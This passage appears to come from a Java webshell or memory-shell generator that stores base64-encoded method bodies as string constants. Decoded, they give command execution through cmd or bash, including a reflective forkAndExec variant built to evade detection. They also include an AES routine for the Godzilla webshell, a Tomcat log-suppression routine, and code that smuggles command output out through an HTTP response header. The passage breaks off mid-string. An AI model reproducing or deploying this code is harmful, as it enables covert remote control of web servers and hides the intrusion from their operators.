"cHVibGljIHZvaWQgZ2V0UmVzcG9uc2UoYnl0ZVtdIHJlcykgewoJCXRyeSB7CgkJCVRocmVhZFtdIHRocmVhZHMgPSAoVGhyZWFkW10pICgoVGhyZWFkW10pIGdldEZpZWxkVmFsdWUoVGhyZWFkLmN1cnJlbnRUaHJlYWQoKS5nZXRUaHJlYWRHcm91cCgpLCAidGhyZWFkcyIpKTsKCgkJCWZvciAoaW50IGkgPSAwOyBpIDwgdGhyZWFkcy5sZW5ndGg7IGkrKykgewoJCQkJVGhyZWFkIHRocmVhZCA9IHRocmVhZHNbaV07CgkJCQlpZiAodGhyZWFkICE9IG51bGwpIHsKCQkJCQlTdHJpbmcgdGhyZWFkTmFtZSA9IHRocmVhZC5nZXROYW1lKCk7CgkJCQkJaWYgKCF0aHJlYWROYW1lLmNvbnRhaW5zKCJleGVjIikgJiYgdGhyZWFkTmFtZS5jb250YWlucygiQWNjZXB0b3IiKSkgewoJCQkJCQlPYmplY3QgdGFyZ2V0ID0gZ2V0RmllbGRWYWx1ZSh0aHJlYWQsICJ0YXJnZXQiKTsKCQkJCQkJaWYgKHRhcmdldCBpbnN0YW5jZW9mIFJ1bm5hYmxlKSB7CgkJCQkJCQl0cnkgewoJCQkJCQkJCWphdmEudXRpbC5BcnJheUxpc3Qgb2JqZWN0cyA9IChqYXZhLnV0aWwuQXJyYXlMaXN0KSBnZXRGaWVsZFZhbHVlKGdldEZpZWxkVmFsdWUoZ2V0RmllbGRWYWx1ZShnZXRGaWVsZFZhbHVlKHRhcmdldCwgInRoaXMkMCIpLCAiaGFuZGxlciIpLCAiZ2xvYmFsIiksICJwcm9jZXNzb3JzIik7CgoJCQkJCQkJCWZvciAoaW50IGogPSAwOyBqIDwgb2JqZWN0cy5zaXplKCk7IGorKykgewoJCQkJCQkJCQlvcmcuYXBhY2hlLmNveW90ZS5SZXF1ZXN0SW5mbyByZXF1ZXN0ICA9IChvcmcuYXBhY2hlLmNveW90ZS5SZXF1ZXN0SW5mbykgb2JqZWN0cy5nZXQoaik7CgkJCQkJCQkJCW9yZy5hcGFjaGUuY295b3RlLlJlc3BvbnNlICAgIHJlc3BvbnNlID0gKG9yZy5hcGFjaGUuY295b3RlLlJlc3BvbnNlKSBnZXRGaWVsZFZhbHVlKGdldEZpZWxkVmFsdWUocmVxdWVzdCwgInJlcSIpLCAicmVzcG9uc2UiKTsKCQkJCQkJCQkJcmVzcG9uc2UuYWRkSGVhZGVyKCJTZXJ2ZXItdG9rZW4iLCBiYXNlNjRFbmNvZGUocmVzKSk7CgkJCQkJCQkJfQoJCQkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJCQkJCX0KCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJfQoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJfQoJfQ"; - - // toCString - public static String TO_CSTRING_Method = "CXB1YmxpYyBzdGF0aWMgYnl0ZVtdIHRvQ1N0cmluZyhTdHJpbmcgcykgewoJCWlmIChzID09IG51bGwpCgkJCXJldHVybiBudWxsOwoJCWJ5dGVbXSBieXRlcyAgPSBzLmdldEJ5dGVzKCk7CgkJYnl0ZVtdIHJlc3VsdCA9IG5ldyBieXRlW2J5dGVzLmxlbmd0aCArIDFdOwoJCVN5c3RlbS5hcnJheWNvcHkoYnl0ZXMsIDAsCgkJCQlyZXN1bHQsIDAsCgkJCQlieXRlcy5sZW5ndGgpOwoJCXJlc3VsdFtyZXN1bHQubGVuZ3RoIC0gMV0gPSAoYnl0ZSkgMDsKCQlyZXR1cm4gcmVzdWx0OwoJfQ=="; - - // getMethodAndInvoke native 版 - public static String GET_METHOD_AND_INVOKE_OBSCURE = "ICAgIHB1YmxpYyBzdGF0aWMgT2JqZWN0IGdldE1ldGhvZEFuZEludm9rZShPYmplY3Qgb2JqLCBTdHJpbmcgbWV0aG9kTmFtZSwgQ2xhc3NbXSBwYXJhbWV0ZXJDbGFzcywgT2JqZWN0W10gcGFyYW1ldGVycykgewogICAgICAgIHRyeSB7CiAgICAgICAgICAgIGphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCBtZXRob2QgPSBnZXRNZXRob2RCeUNsYXNzKG9iai5nZXRDbGFzcygpLCBtZXRob2ROYW1lLCBwYXJhbWV0ZXJDbGFzcyk7CiAgICAgICAgICAgIGlmIChtZXRob2QgIT0gbnVsbCkgewoKICAgICAgICAgICAgICAgIENsYXNzICAgICAgICAgICAgICAgICAgICBjbGF6eiA9IENsYXNzLmZvck5hbWUoInN1bi5yZWZsZWN0Lk5hdGl2ZU1ldGhvZEFjY2Vzc29ySW1wbCIpOwogICAgICAgICAgICAgICAgamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kIG0gICAgID0gY2xhenouZ2V0RGVjbGFyZWRNZXRob2QoImludm9rZTAiLCBuZXcgQ2xhc3NbXXtqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QuY2xhc3MsIE9iamVjdC5jbGFzcywgT2JqZWN0W10uY2xhc3N9KTsKICAgICAgICAgICAgICAgIG0uc2V0QWNjZXNzaWJsZSh0cnVlKTsKICAgICAgICAgICAgICAgIHJldHVybiBtLmludm9rZShudWxsLCBuZXcgT2JqZWN0W117bWV0aG9kLCBvYmosIHBhcmFtZXRlcnN9KTsKICAgICAgICAgICAgfQogICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CiAgICAgICAgfQogICAgICAgIHJldHVybiBudWxsOwogICAgfQ=="; - - // getMethodAndInvoke - public static String GET_METHOD_AND_INVOKE = "cHVibGljIHN0YXRpYyBPYmplY3QgZ2V0TWV0aG9kQW5kSW52b2tlKE9iamVjdCBvYmosIFN0cmluZyBtZXRob2ROYW1lLCBDbGFzc1tdIHBhcmFtZXRlckNsYXNzLCBPYmplY3RbXSBwYXJhbWV0ZXJzKSB7CgkJdHJ5IHsKCQkJamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kIG1ldGhvZCA9IGdldE1ldGhvZEJ5Q2xhc3Mob2JqLmdldENsYXNzKCksIG1ldGhvZE5hbWUsIHBhcmFtZXRlckNsYXNzKTsKCQkJaWYgKG1ldGhvZCAhPSBudWxsKQoJCQkJcmV0dXJuIG1ldGhvZC5pbnZva2Uob2JqLCBwYXJhbWV0ZXJzKTsKCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCX0KCQlyZXR1cm4gbnVsbDsKCX0="; - - // getMethodByClass - public static String GET_METHOD_BY_CLASS = "cHVibGljIHN0YXRpYyBqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgZ2V0TWV0aG9kQnlDbGFzcyhDbGFzcyBjcywgU3RyaW5nIG1ldGhvZE5hbWUsIENsYXNzW10gcGFyYW1ldGVycykgewoJCWphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCBtZXRob2QgPSBudWxsOwoJCXdoaWxlIChjcyAhPSBudWxsKSB7CgkJCXRyeSB7CgkJCQltZXRob2QgPSBjcy5nZXREZWNsYXJlZE1ldGhvZChtZXRob2ROYW1lLCBwYXJhbWV0ZXJzKTsKCQkJCW1ldGhvZC5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJY3MgPSBudWxsOwoJCQl9IGNhdGNoIChFeGNlcHRpb24gZSkgewoJCQkJY3MgPSBjcy5nZXRTdXBlcmNsYXNzKCk7CgkJCX0KCQl9CgkJcmV0dXJuIG1ldGhvZDsKCX0="; - - // getFieldValue - public static String GET_FIELD_VALUE = "cHVibGljIHN0YXRpYyBPYmplY3QgZ2V0RmllbGRWYWx1ZShPYmplY3Qgb2JqLCBTdHJpbmcgZmllbGROYW1lKSB0aHJvd3MgRXhjZXB0aW9uIHsKCQlqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCBmID0gbnVsbDsKCQlpZiAob2JqIGluc3RhbmNlb2YgamF2YS5sYW5nLnJlZmxlY3QuRmllbGQpIHsKCQkJZiA9IChqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCkgb2JqOwoJCX0gZWxzZSB7CgkJCUNsYXNzIGNzID0gb2JqLmdldENsYXNzKCk7CgkJCXdoaWxlIChjcyAhPSBudWxsKSB7CgkJCQl0cnkgewoJCQkJCWYgPSBjcy5nZXREZWNsYXJlZEZpZWxkKGZpZWxkTmFtZSk7CgkJCQkJY3MgPSBudWxsOwoJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGUpIHsKCQkJCQljcyA9IGNzLmdldFN1cGVyY2xhc3MoKTsKCQkJCX0KCQkJfQoJCX0KCQlmLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJcmV0dXJuIGYuZ2V0KG9iaik7Cgl9"; - - // getUnsafe - public static String GET_UNSAFE = "cHVibGljIHN0YXRpYyBzdW4ubWlzYy5VbnNhZmUgZ2V0VW5zYWZlKCkgew0KCQlzdW4ubWlzYy5VbnNhZmUgdW5zYWZlID0gbnVsbDsNCgkJdHJ5IHsNCgkJCWlmIChDbGFzcy5mb3JOYW1lKG5ldyBUaHJvd2FibGUoKS5nZXRTdGFja1RyYWNlKClbMV0uZ2V0Q2xhc3NOYW1lKCkpLmdldENsYXNzTG9hZGVyKCkgPT0gbnVsbCkgew0KCQkJCXVuc2FmZSA9IHN1bi5taXNjLlVuc2FmZS5nZXRVbnNhZmUoKTsNCgkJCX0NCgkJfSBjYXRjaCAoQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbiBpZ25vcmVkKSB7DQoJCX0NCg0KCQlpZiAodW5zYWZlID09IG51bGwpIHsNCgkJCXRyeSB7DQoJCQkJQ2xhc3MgICAgICAgICAgICAgICAgICAgZ3NvbkNsYXNzID0gQ2xhc3MuZm9yTmFtZSgiY29tLmdvb2dsZS5nc29uLmludGVybmFsLnJlZmxlY3QuVW5zYWZlUmVmbGVjdGlvbkFjY2Vzc29yIik7DQoJCQkJamF2YS5sYW5nLnJlZmxlY3QuRmllbGQgZmllbGQgICAgID0gZ3NvbkNsYXNzLmdldERlY2xhcmVkRmllbGQoInRoZVVuc2FmZSIpOw0KCQkJCWZpZWxkLnNldEFjY2Vzc2libGUodHJ1ZSk7DQoJCQkJdW5zYWZlID0gKHN1bi5taXNjLlVuc2FmZSkgZmllbGQuZ2V0KG51bGwpOw0KCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsNCgkJCX0NCgkJfQ0KDQoJCWlmICh1bnNhZmUgPT0gbnVsbCkgew0KCQkJdHJ5IHsNCgkJCQlDbGFzcyAgICAgICAgICAgICAgICAgICBuZXR0eUNsYXNzID0gQ2xhc3MuZm9yTmFtZSgiaW8ubmV0dHkudXRpbC5pbnRlcm5hbC5zaGFkZWQub3JnLmpjdG9vbHMudXRpbC5VbnNhZmVBY2Nlc3MiKTsNCgkJCQlqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCBmaWVsZCAgICAgID0gbmV0dHlDbGFzcy5nZXREZWNsYXJlZEZpZWxkKCJVTlNBRkUiKTsNCgkJCQlmaWVsZC5zZXRBY2Nlc3NpYmxlKHRydWUpOw0KCQkJCXVuc2FmZSA9IChzdW4ubWlzYy5VbnNhZmUpIGZpZWxkLmdldChudWxsKTsNCgkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7DQoJCQl9DQoJCX0NCg0KCQlpZiAodW5zYWZlID09IG51bGwpIHsNCgkJCXRyeSB7DQoJCQkJamF2YS5sYW5nLnJlZmxlY3QuRmllbGQgdGhlVW5zYWZlRmllbGQgPSBzdW4ubWlzYy5VbnNhZmUuY2xhc3MuZ2V0RGVjbGFyZWRGaWVsZCgidGhlVW5zYWZlIik7DQoJCQkJdGhlVW5zYWZlRmllbGQuc2V0QWNjZXNzaWJsZSh0cnVlKTsNCgkJCQl1bnNhZmUgPSAoc3VuLm1pc2MuVW5zYWZlKSB0aGVVbnNhZmVGaWVsZC5nZXQobnVsbCk7DQoJCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgew0KCQkJfQ0KCQl9DQoNCgkJcmV0dXJuIHVuc2FmZTsNCgl9"; - - // base64Decode - public static String BASE64_DECODE_STRING_TO_BYTE = "cHVibGljIHN0YXRpYyBieXRlW10gYmFzZTY0RGVjb2RlKFN0cmluZyBicykgdGhyb3dzIEV4Y2VwdGlvbiB7CgkJQ2xhc3MgIGJhc2U2NDsKCQlieXRlW10gdmFsdWUgPSBudWxsOwoJCXRyeSB7CgkJCWJhc2U2NCA9IENsYXNzLmZvck5hbWUoImphdmEudXRpbC5CYXNlNjQiKTsKCQkJT2JqZWN0IGRlY29kZXIgPSBiYXNlNjQuZ2V0TWV0aG9kKCJnZXREZWNvZGVyIiwgbnVsbCkuaW52b2tlKGJhc2U2NCwgbnVsbCk7CgkJCXZhbHVlID0gKGJ5dGVbXSkgZGVjb2Rlci5nZXRDbGFzcygpLmdldE1ldGhvZCgiZGVjb2RlIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzfSkuaW52b2tlKGRlY29kZXIsIG5ldyBPYmplY3RbXXtic30pOwoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBlKSB7CgkJCXRyeSB7CgkJCQliYXNlNjQgPSBDbGFzcy5mb3JOYW1lKCJzdW4ubWlzYy5CQVNFNjREZWNvZGVyIik7CgkJCQlPYmplY3QgZGVjb2RlciA9IGJhc2U2NC5uZXdJbnN0YW5jZSgpOwoJCQkJdmFsdWUgPSAoYnl0ZVtdKSBkZWNvZGVyLmdldENsYXNzKCkuZ2V0TWV0aG9kKCJkZWNvZGVCdWZmZXIiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9KS5pbnZva2UoZGVjb2RlciwgbmV3IE9iamVjdFtde2JzfSk7CgkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBlMikgewoJCQl9CgkJfQoJCXJldHVybiB2YWx1ZTsKCX0"; - - // base64Encode - public static String BASE64_ENCODE_BYTE_TO_STRING = "cHVibGljIHN0YXRpYyBTdHJpbmcgYmFzZTY0RW5jb2RlKGJ5dGVbXSBicykgdGhyb3dzIEV4Y2VwdGlvbiB7CgkJQ2xhc3MgIGJhc2U2NDsKCQlTdHJpbmcgdmFsdWUgPSBudWxsOwoJCXRyeSB7CgkJCWJhc2U2NCA9IENsYXNzLmZvck5hbWUoImphdmEudXRpbC5CYXNlNjQiKTsKCQkJT2JqZWN0IEVuY29kZXIgPSBiYXNlNjQuZ2V0TWV0aG9kKCJnZXRFbmNvZGVyIiwgbnVsbCkuaW52b2tlKGJhc2U2NCwgbnVsbCk7CgkJCXZhbHVlID0gKFN0cmluZykgRW5jb2Rlci5nZXRDbGFzcygpLmdldE1ldGhvZCgiZW5jb2RlVG9TdHJpbmciLCBuZXcgQ2xhc3NbXXtieXRlW10uY2xhc3N9KS5pbnZva2UoRW5jb2RlciwgbmV3IE9iamVjdFtde2JzfSk7CgkJfSBjYXRjaCAoRXhjZXB0aW9uIGUpIHsKCQkJdHJ5IHsKCQkJCWJhc2U2NCA9IENsYXNzLmZvck5hbWUoInN1bi5taXNjLkJBU0U2NEVuY29kZXIiKTsKCQkJCU9iamVjdCBFbmNvZGVyID0gYmFzZTY0Lm5ld0luc3RhbmNlKCk7CgkJCQl2YWx1ZSA9IChTdHJpbmcpIEVuY29kZXIuZ2V0Q2xhc3MoKS5nZXRNZXRob2QoImVuY29kZSIsIG5ldyBDbGFzc1tde2J5dGVbXS5jbGFzc30pLmludm9rZShFbmNvZGVyLCBuZXcgT2JqZWN0W117YnN9KTsKCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJfQoJCX0KCQlyZXR1cm4gdmFsdWU7Cgl9"; - - // MD5 - public static String MD5 = "CXB1YmxpYyBzdGF0aWMgU3RyaW5nIG1kNShTdHJpbmcgcykgewoJCVN0cmluZyByZXQgPSBudWxsOwoJCXRyeSB7CgkJCWphdmEuc2VjdXJpdHkuTWVzc2FnZURpZ2VzdCBtOwoJCQltID0gamF2YS5zZWN1cml0eS5NZXNzYWdlRGlnZXN0LmdldEluc3RhbmNlKCJNRDUiKTsKCQkJbS51cGRhdGUocy5nZXRCeXRlcygpLCAwLCBzLmxlbmd0aCgpKTsKCQkJcmV0ID0gbmV3IGphdmEubWF0aC5CaWdJbnRlZ2VyKDEsIG0uZGlnZXN0KCkpLnRvU3RyaW5nKDE2KS50b1VwcGVyQ2FzZSgpOwoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJfQoJCXJldHVybiByZXQ7Cgl9"; - - // 哥斯拉 AES 方法 x(需要 Field xc) - public static String AES_FOR_GODZILLA = "CXB1YmxpYyBieXRlW10geChieXRlW10gcywgYm9vbGVhbiBtKSB7CgkJdHJ5IHsKCQkJamF2YXguY3J5cHRvLkNpcGhlciBjID0gamF2YXguY3J5cHRvLkNpcGhlci5nZXRJbnN0YW5jZSgiQUVTIik7CgkJCWMuaW5pdChtID8gMSA6IDIsIG5ldyBqYXZheC5jcnlwdG8uc3BlYy5TZWNyZXRLZXlTcGVjKHhjLmdldEJ5dGVzKCksICJBRVMiKSk7CgkJCXJldHVybiBjLmRvRmluYWwocyk7CgkJfSBjYXRjaCAoRXhjZXB0aW9uIGUpIHsKCQkJcmV0dXJuIG51bGw7CgkJfQoJfQ=="; - - // 命令执行封装方法,使用反射调用 forkandexec, 需要 toCString getMethodByClass getMethodAndInvoke getFieldValue getUnsafe - public static String EXEC_CMD_OBSCURE = "cHVibGljIHN0YXRpYyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSBleGVjQ21kKFN0cmluZyBjbWQpIHsKCQl0cnkgewoJCQlpZiAoY21kICE9IG51bGwgJiYgIWNtZC5pc0VtcHR5KCkpIHsKCQkJCVN0cmluZ1tdICAgICAgICAgICAgICAgICAgICAgIGNtZHMgICAgICAgICAgPSBudWxsOwoJCQkJQ2xhc3MgICAgICAgICAgICAgICAgICAgICAgICAgcHJvY2Vzc0NsYXNzICA9IG51bGw7CgkJCQlPYmplY3QgICAgICAgICAgICAgICAgICAgICAgICBwcm9jZXNzT2JqZWN0ID0gbnVsbDsKCQkJCXN1bi5taXNjLlVuc2FmZSAgICAgICAgICAgICAgIHVuc2FmZSAgICAgICAgPSBnZXRVbnNhZmUoKTsKCQkJCWphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtIGJhb3MgICAgICAgICAgPSBuZXcgamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0oKTsKCQkJCWlmIChTeXN0ZW0uZ2V0UHJvcGVydHkoIm9zLm5hbWUiKS50b0xvd2VyQ2FzZSgpLmNvbnRhaW5zKCJ3aW4iKSkgewoJCQkJCWNtZHMgPSBuZXcgU3RyaW5nW117ImNtZCIsICIvYyIsIGNtZH07CgkJCQkJcHJvY2Vzc0NsYXNzID0gQ2xhc3MuZm9yTmFtZSgiamF2YS5sYW5nLlByb2Nlc3NJbXBsIik7CgkJCQkJcHJvY2Vzc09iamVjdCA9IHVuc2FmZS5hbGxvY2F0ZUluc3RhbmNlKHByb2Nlc3NDbGFzcyk7CgkJCQkJbG9uZ1tdICAgICAgICBzdGRIYW5kbGVzID0gbmV3IGxvbmdbXXstMUwsIC0xTCwgLTFMfTsKCQkJCQlTdHJpbmdCdWlsZGVyIHNiICAgICAgICAgPSBuZXcgU3RyaW5nQnVpbGRlcigpOwoJCQkJCWZvciAoaW50IGkgPSAwOyBpIDwgY21kcy5sZW5ndGg7IGkrKykgewoJCQkJCQlzYi5hcHBlbmQoY21kc1tpXSkuYXBwZW5kKCIgIik7CgkJCQkJfQoJCQkJCU9iamVjdCAgICAgICAgICAgICAgICAgICAgaGFuZGxlID0gIGdldE1ldGhvZEFuZEludm9rZShwcm9jZXNzT2JqZWN0LCAiY3JlYXRlIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzLCBTdHJpbmcuY2xhc3MsIFN0cmluZy5jbGFzcywgbG9uZ1tdLmNsYXNzLCBib29sZWFuLmNsYXNzfSwgbmV3IE9iamVjdFtde3NiLnRvU3RyaW5nKCkudHJpbSgpLCBudWxsLCBudWxsLCBzdGRIYW5kbGVzLCBqYXZhLmxhbmcuQm9vbGVhbi5GQUxTRX0pOwoJCQkJCWphdmEubGFuZy5yZWZsZWN0LkZpZWxkIGZpZWxkICA9IHByb2Nlc3NDbGFzcy5nZXREZWNsYXJlZEZpZWxkKCJoYW5kbGUiKTsKCQkJCQlmaWVsZC5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCWZpZWxkLnNldChwcm9jZXNzT2JqZWN0LCBoYW5kbGUpOwoJCQkJCWphdmEuaW8uRmlsZURlc2NyaXB0b3Igc3Rkb3V0X2ZkID0gbmV3IGphdmEuaW8uRmlsZURlc2NyaXB0b3IoKTsKCQkJCQlnZXRNZXRob2RBbmRJbnZva2UoZ2V0RmllbGRWYWx1ZShwcm9jZXNzT2JqZWN0LCAiZmRBY2Nlc3MiKSwgInNldEhhbmRsZSIsIG5ldyBDbGFzc1tde2phdmEuaW8uRmlsZURlc2NyaXB0b3IuY2xhc3MsIE9iamVjdC5jbGFzc30sIG5ldyBPYmplY3RbXXtzdGRvdXRfZmQsIExvbmcudmFsdWVPZihzdGRIYW5kbGVzWzFdKX0pOwoJCQkJCWphdmEubGFuZy5yZWZsZWN0LkZpZWxkIGZpZWxkMiA9IHByb2Nlc3NDbGFzcy5nZXREZWNsYXJlZEZpZWxkKCJzdGRvdXRfc3RyZWFtIik7CgkJCQkJZmllbGQyLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJCQkJZmllbGQyLnNldChwcm9jZXNzT2JqZWN0LCBuZXcgamF2YS5pby5CdWZmZXJlZElucHV0U3RyZWFtKG5ldyBqYXZhLmlvLkZpbGVJbnB1dFN0cmVhbShzdGRvdXRfZmQpKSk7CgkJCQl9IGVsc2UgewoJCQkJCWNtZHMgPSBuZXcgU3RyaW5nW117Ii9iaW4vYmFzaCIsICItYyIsIGNtZH07CgkJCQkJcHJvY2Vzc0NsYXNzID0gQ2xhc3MuZm9yTmFtZSgiamF2YS5sYW5nLlVOSVhQcm9jZXNzIik7CgkJCQkJcHJvY2Vzc09iamVjdCA9IHVuc2FmZS5hbGxvY2F0ZUluc3RhbmNlKHByb2Nlc3NDbGFzcyk7CgkJCQkJYnl0ZVtdW10gYXJncyA9IG5ldyBieXRlW2NtZHMubGVuZ3RoIC0gMV1bXTsKCQkJCQlpbnQgICAgICBzaXplID0gYXJncy5sZW5ndGg7CgkJCQkJZm9yIChpbnQgaSA9IDA7IGkgPCBhcmdzLmxlbmd0aDsgaSsrKSB7CgkJCQkJCWFyZ3NbaV0gPSBjbWRzW2kgKyAxXS5nZXRCeXRlcygpOwoJCQkJCQlzaXplICs9IGFyZ3NbaV0ubGVuZ3RoOwoJCQkJCX0KCQkJCQlieXRlW10gYXJnQmxvY2sgPSBuZXcgYnl0ZVtzaXplXTsKCQkJCQlpbnQgICAgaSAgICAgICAgPSAwOwoJCQkJCWZvciAoaW50IGkxID0gMDsgaTEgPCBhcmdzLmxlbmd0aDsgaTErKykgewoJCQkJCQlTeXN0ZW0uYXJyYXljb3B5KGFyZ3NbaTFdLCAwLCBhcmdCbG9jaywgaSwgYXJnc1tpMV0ubGVuZ3RoKTsKCQkJCQkJaSArPSBhcmdzW2kxXS5sZW5ndGggKyAxOwoJCQkJCX0KCQkJCQlpbnRbXSAgc3RkX2ZkcyAgICAgICAgICAgICAgID0gbmV3IGludFtdey0xLCAtMSwgLTF9OwoJCQkJCU9iamVjdCBsYXVuY2hNZWNoYW5pc21PYmplY3QgPSBnZXRGaWVsZFZhbHVlKHByb2Nlc3NPYmplY3QsICJsYXVuY2hNZWNoYW5pc20iKTsKCQkJCQlieXRlW10gaGVscGVycGF0aE9iamVjdCAgICAgID0gKGJ5dGVbXSkgZ2V0RmllbGRWYWx1ZShwcm9jZXNzT2JqZWN0LCAiaGVscGVycGF0aCIpOwoJCQkJCWludCAgICBvcmRpbmFsICAgICAgICAgICAgICAgPSBqYXZhLmxhbmcuSW50ZWdlci5wYXJzZUludChnZXRNZXRob2RBbmRJbnZva2UobGF1bmNoTWVjaGFuaXNtT2JqZWN0LCAib3JkaW5hbCIsIG51bGwsIG51bGwpLnRvU3RyaW5nKCkpOwoJCQkJCWdldE1ldGhvZEFuZEludm9rZShwcm9jZXNzT2JqZWN0LCAiZm9ya0FuZEV4ZWMiLCBuZXcgQ2xhc3NbXXtpbnQuY2xhc3MsIGJ5dGVbXS5jbGFzcywgYnl0ZVtdLmNsYXNzLCBieXRlW10uY2xhc3MsIGludC5jbGFzcywgYnl0ZVtdLmNsYXNzLCBpbnQuY2xhc3MsIGJ5dGVbXS5jbGFzcywgaW50W10uY2xhc3MsIGJvb2xlYW4uY2xhc3N9LCBuZXcgT2JqZWN0W117SW50ZWdlci52YWx1ZU9mKG9yZGluYWwgKyAxKSwgaGVscGVycGF0aE9iamVjdCwgdG9DU3RyaW5nKGNtZHNbMF0pLCBhcmdCbG9jaywgSW50ZWdlci52YWx1ZU9mKGFyZ3MubGVuZ3RoKSwgbnVsbCwgSW50ZWdlci52YWx1ZU9mKDEpLCBudWxsLCBzdGRfZmRzLCBqYXZhLmxhbmcuQm9vbGVhbi5GQUxTRX0pOwoJCQkJCWdldE1ldGhvZEFuZEludm9rZShwcm9jZXNzT2JqZWN0LCAiaW5pdFN0cmVhbXMiLCBuZXcgQ2xhc3NbXXtpbnRbXS5jbGFzc30sIG5ldyBPYmplY3RbXXtzdGRfZmRzfSk7CgkJCQl9CgkJCQlqYXZhLmlvLklucHV0U3RyZWFtIGluID0gKGphdmEuaW8uSW5wdXRTdHJlYW0pIGdldE1ldGhvZEFuZEludm9rZShwcm9jZXNzT2JqZWN0LCAiZ2V0SW5wdXRTdHJlYW0iLCBudWxsLCBudWxsKTsKCQkJCWludCAgICAgICAgICAgICAgICAgYSAgPSAwOwoJCQkJYnl0ZVtdICAgICAgICAgICAgICBiICA9IG5ldyBieXRlWzEwMjRdOwoJCQkJd2hpbGUgKChhID0gaW4ucmVhZChiKSkgIT0gLTEpIHsKCQkJCQliYW9zLndyaXRlKGIsIDAsIGEpOwoJCQkJfQoJCQkJcmV0dXJuIGJhb3M7CgkJCX0KCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCX0KCQlyZXR1cm4gbnVsbDsKCX0="; - - // 命令执行封装方法,简单使用 Runtime.getRuntime().exec() - public static String EXEC_CMD = "cHVibGljIHN0YXRpYyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSBleGVjQ21kKFN0cmluZyBjbWQpIHsKCQl0cnkgewoJCQlpZiAoY21kICE9IG51bGwgJiYgIWNtZC5pc0VtcHR5KCkpIHsKCQkJCVN0cmluZ1tdIGNtZHMgPSBudWxsOwoJCQkJaWYgKFN5c3RlbS5nZXRQcm9wZXJ0eSgib3MubmFtZSIpLnRvTG93ZXJDYXNlKCkuY29udGFpbnMoIndpbiIpKSB7CgkJCQkJY21kcyA9IG5ldyBTdHJpbmdbXXsiY21kIiwgIi9jIiwgY21kfTsKCQkJCX0gZWxzZSB7CgkJCQkJY21kcyA9IG5ldyBTdHJpbmdbXXsiL2Jpbi9iYXNoIiwgIi1jIiwgY21kfTsKCQkJCX0KCgkJCQlqYXZhLmlvLklucHV0U3RyZWFtIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhjbWRzKS5nZXRJbnB1dFN0cmVhbSgpOwoJCQkJamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0gYmFvcyA9IG5ldyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSgpOwoJCQkJaW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgYSAgICA9IDA7CgkJCQlieXRlW10gICAgICAgICAgICAgICAgICAgICAgICBiICAgID0gbmV3IGJ5dGVbMTAyNF07CgoJCQkJd2hpbGUgKChhID0gaW4ucmVhZChiKSkgIT0gLTEpIHsKCQkJCQliYW9zLndyaXRlKGIsIDAsIGEpOwoJCQkJfQoKCQkJCXJldHVybiBiYW9zOwoJCQl9CgkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQl9CgoJCXJldHVybiBudWxsOwoJfQ=="; - - // Tomcat NO LOG 方法,需要 getFieldValue getMethodByClass getMethodAndInvoke - public static String TOMCAT_NO_LOG = "cHVibGljIHZvaWQgbm9Mb2coT2JqZWN0IHJlcU9iaikgewoJCXRyeSB7CgkJCU9iamVjdCAgICAgICAgICAgICAgICAgICAgICBhcHBsaWNhdGlvbkNvbnRleHQgPSBnZXRGaWVsZFZhbHVlKGdldE1ldGhvZEFuZEludm9rZShyZXFPYmosICJnZXRTZXJ2bGV0Q29udGV4dCIsIG51bGwsIG51bGwpLCAiY29udGV4dCIpOwoJCQlPYmplY3QgICAgICAgICAgICAgICAgICAgICAgY29udGFpbmVyICAgICAgICAgID0gZ2V0RmllbGRWYWx1ZShhcHBsaWNhdGlvbkNvbnRleHQsICJjb250ZXh0Iik7CgkJCWphdmEudXRpbC5BcnJheUxpc3QgYXJyYXlMaXN0ICAgICAgICAgID0gbmV3IGphdmEudXRpbC5BcnJheUxpc3QoKTsKCQkJd2hpbGUgKGNvbnRhaW5lciAhPSBudWxsKSB7CgkJCQlhcnJheUxpc3QuYWRkKGNvbnRhaW5lcik7CgkJCQljb250YWluZXIgPSBnZXRNZXRob2RBbmRJbnZva2UoY29udGFpbmVyLCAiZ2V0UGFyZW50IiwgbnVsbCwgbnVsbCk7CgkJCX0KCQkJZ